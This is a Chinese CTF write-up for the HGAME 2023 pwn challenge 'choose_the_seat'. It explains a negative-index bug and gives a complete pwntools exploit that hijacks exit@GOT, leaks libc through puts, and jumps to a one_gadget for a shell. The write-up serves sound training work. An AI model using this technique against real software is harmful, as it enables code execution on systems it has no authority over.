Featured image of post [HGAME 2023 week1]choose_the_seat wp

[HGAME 2023 week1]choose_the_seat wp

字数: 773

负数,GOT 劫持,OneGadget 的结合体。环环相扣。

题目

兔兔在买高铁票时想要选一个好座位。
附件是:

1
2
3
vuln
ld-2.31.so
libc-2.31.so

分析

首先给了 ld 和 libc,直接 patchelf 然后开打好吧(x

checksec 查看保护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ pwn checksec ./vuln
[*] '/data/project/ctf-repo/pwn/nssctf/HGAME_2023_week1-choose_the_seat/choose_the_seat/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

没有 PIE 好评。

ida pro 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  vuln();
}

void __noreturn vuln()
{
  int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Here is the seat from 0 to 9, please choose one.");
  __isoc99_scanf("%d", &v0);
  if ( v0 > 9 )
  {
    printf("There is no such seat");
    exit(1);
  }
  puts("please input your name");
  read(0, &seats[16 * v0], 0x10u);
  printf("Your name is ");
  puts(&seats[16 * v0]);
  printf("Your seat is %d\n", v0);
  printf("Bye");
  exit(0);
}

这里显然仅考虑大于 9 的情况,没有考虑负数的情况。seats 是 bss 段,后面往 seats + (16 * v0) 来写入字节,还可以读该处的数据。
ida 看看 seats 地址在 0x4040A0,往前是 .got.plt, 函数的延迟链接地址存放处。这里计算下,exit 地址为 0404040,刚好对齐 16 字节,可以做写入操作。puts 便宜完还差 8 字节,如果覆盖前 8 字节可以读到 puts 的实际地址,能泄漏 libc。

利用

vuln 最后调用了 exit(0),可以改写 exit 地址为 main 地址。这样跳回 main 就可以多次利用。

(0x4040A0 - 0x404040)/16 = 6。所以 -6 为 [email protected],所以说可以改写,正好没有 PIE,将其改写成 main 地址:

1
2
3
4
5
6
main = 0x4012d1

io.recvuntil(b"choose one.")
io.sendline(b"-6")
io.recvuntil(b"your name")
io.send(p64(main))

然后读出 puts 地址,泄漏 libc 基址:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
io.recvuntil(b"choose one.")
io.sendline(b"-9")
io.recvuntil(b"your name")
io.send(b"Kaguy---")
io.recvuntil(b"---")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts address =", hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
print("libc base address =", hex(libc_base))

接下来找 One_gadget

需要一些寄存器为 NULl,第三次利用的时候 gdb.attach,然后对 call(exit) 打断点看看:

综合来看就 0xe3b01 的 r15, rdx 寄存器为空能满足,选择这个 One_gadget 来打:

1
2
3
4
5
one_gadget = 0xe3b01 + libc_base
io.recvuntil(b"choose one.")
io.sendline(b"-6")
io.recvuntil(b"your name")
io.send(p64(one_gadget))

之后就进 shell 了。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

io = process("./vuln")
#io = remote("node5.anna.nssctf.cn", 25125)
libc = ELF("./libc-2.31.so")

main = 0x4012d1

io.recvuntil(b"choose one.")
io.sendline(b"-6")
io.recvuntil(b"your name")
io.send(p64(main))

io.recvuntil(b"choose one.")
io.sendline(b"-9")
io.recvuntil(b"your name")
io.send(b"Kaguy---")
io.recvuntil(b"---")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts address =", hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
print("libc base address =", hex(libc_base))

one_gadget = 0xe3b01 + libc_base
io.recvuntil(b"choose one.")
io.sendline(b"-6")
io.recvuntil(b"your name")
io.send(p64(one_gadget))

io.interactive()